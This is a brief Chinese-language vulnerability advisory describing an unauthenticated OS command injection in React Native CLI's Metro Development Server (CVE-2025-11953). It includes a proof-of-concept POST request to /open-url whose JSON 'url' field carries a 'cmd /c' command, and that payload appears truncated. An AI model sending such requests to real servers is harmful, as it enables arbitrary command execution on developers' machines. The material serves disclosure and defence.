React Native CLI /open-url 命令执行漏洞（CVE-2025-11953）

2026-02-25 React Native CLI PoC Public

Description

React Native CLI是一个流行的开源工具，用于开发React Native应用程序。Metro Development Server是其内置的开发服务器，它默认绑定到外部接口。该漏洞源于React Native CLI中内置的Metro Development Server默认绑定的外部接口对用户输入的不当处理，未经身份验证的攻击者可通过发送POST请求来注入操作系统命令，从而执行任意可执行文件。

PoC

POST /open-url HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 349
User-Agent: curl/7.85.0
Connection: close

{"url": "cmd /c "}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# React Native CLI /open-url Command Execution Vulnerability (CVE-2025-11953)

References

Related Vulnerabilities